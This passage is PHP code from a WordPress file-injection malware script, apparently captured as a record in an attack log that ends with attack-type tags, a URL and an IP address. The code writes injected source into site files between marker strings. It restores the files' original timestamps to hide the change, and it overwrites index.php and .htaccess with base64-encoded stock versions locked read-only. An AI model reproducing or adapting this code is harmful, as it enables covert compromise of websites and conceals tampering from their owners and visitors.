preg_replace(\r\n            \\\"#\\\" . $regex_search.\\\"#is\\\",\r\n            $search . $start_mark . \\\"\\\\n\\\" . @$inject_src . $end_mark . \\\"\\\\n\\\",\r\n            $c\r\n        );\r\n    }\r\n    $size[\\\"result\\\"] = number_format(strlen($c));\r\n\r\n    if (stristr($c, $search) OR in_array($search, array(\\\"endfile\\\", \\\"startfile\\\"))) {\r\n//        echo($file.\\\" : search  not found:\\\" . $search.\\\" \\\".$regex_search);\r\n\r\n        $filemtime = filemtime($file);\r\n        if (file_put_contents($file, $c)) {\r\n            echo \\\"filename: \\\".$file . \\\" [\\\".@$ta[\\\"name\\\"].\\\"] found\\\\n\\\";\r\n\r\n            echo \\\"original filesize: \\\" . $size[\\\"start\\\"] . \\\"\\\\n\\\";\r\n\r\n            echo(\\\"file $file saved\\\\n\\\");\r\n            echo(\\\"inject:::\\\".str_replace($base_dir, \\\"\\\", $file).\\\":::inject\\\\n\\\");\r\n            touch($file, $filemtime, $filemtime);\r\n            echo \\\"result filesize: \\\" . $size[\\\"result\\\"] . \\\"\\\\n\\\";\r\n\r\n            if($exit) exit;\r\n        } else echo(\\\"save error: \\\" . $file . \\\"\\\\n\\\");\r\n    }\r\n}\r\n\r\nfunction my_time($dir) {\r\n    foreach (glob($dir . \\\'/wp-*.php\\\') as $f) {\r\n        $times[] = filemtime($f);\r\n    }\r\n    $max = 1;\r\n    for ($i = 0; $i < count($times) - 1; $i++) {\r\n        $k = 1;\r\n        for ($j = $i + 1; $j < count($times); $j++) {\r\n            if ($times[$i] == $times[$j]) {\r\n                $k++;\r\n                if ($k > $max) {\r\n                    $max = $k;\r\n                    $time = $times[$i];\r\n                }\r\n            }\r\n        }\r\n    }\r\n    return $time;\r\n}\r\n\r\nfunction my_correct($dir) {\r\n    $time = 0;\r\n    $path = $dir . \\\'/index.php\\\';\r\n    $content = base64_decode(\\\'PD9waHAKLyoqCiAqIEZyb250IHRvIHRoZSBXb3JkUHJlc3MgYXBwbGljYXRpb24uIFRoaXMgZmlsZSBkb2Vzbid0IGRvIGFueXRoaW5nLCBidXQgbG9hZHMKICogd3AtYmxvZy1oZWFkZXIucGhwIHdoaWNoIGRvZXMgYW5kIHRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSB0aGVtZS4KICoKICogQHBhY2thZ2UgV29yZFByZXNzCiAqLwoKLyoqCiAqIFRlbGxzIFdvcmRQcmVzcyB0byBsb2FkIHRoZSBXb3JkUHJlc3MgdGhlbWUgYW5kIG91dHB1dCBpdC4KICoKICogQHZhciBib29sCiAqLwpkZWZpbmUoJ1dQX1VTRV9USEVNRVMnLCB0cnVlKTsKCi8qKiBMb2FkcyB0aGUgV29yZFByZXNzIEVudmlyb25tZW50IGFuZCBUZW1wbGF0ZSAqLwpyZXF1aXJlKCBkaXJuYW1lKCBfX0ZJTEVfXyApIC4gJy93cC1ibG9nLWhlYWRlci5waHAnICk7Cg==\\\');\r\n    if (file_get_contents($path) != $content) {\r\n        chmod($path, 0644);\r\n        file_put_contents($path, $content);\r\n        chmod($path, 0444);\r\n        $time = my_time($dir);\r\n        touch($path, $time);\r\n    }\r\n\r\n    $path = $dir . \\\'/.htaccess\\\';\r\n    $content = base64_decode(\\\'IyBCRUdJTiBXb3JkUHJlc3MKPElmTW9kdWxlIG1vZF9yZXdyaXRlLmM+ClJld3JpdGVFbmdpbmUgT24KUmV3cml0ZUJhc2UgLwpSZXdyaXRlUnVsZSBeaW5kZXhcLnBocCQgLSBbTF0KUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWYKUmV3cml0ZUNvbmQgJXtSRVFVRVNUX0ZJTEVOQU1FfSAhLWQKUmV3cml0ZVJ1bGUgLiAvaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPgoKIyBFTkQgV29yZFByZXNzCg==\\\');\r\n    if (file_exists($path) AND file_get_contents($path) != $content) {\r\n        chmod($path, 0644);\r\n        file_put_contents($path, $content);\r\n        chmod($path, 0444);\r\n        if (!$time) {\r\n            $time = my_time($dir);\r\n        }\r\n        touch($path, $time);\r\n    }\r\n}','xss,csrf,id,rfe,sqli,lfi',137,195,'http://beta.chrisochoidis.gr/w66383669n.php','http://beta.chrisochoidis.gr/w66383669n.php','146.185.243.119','');
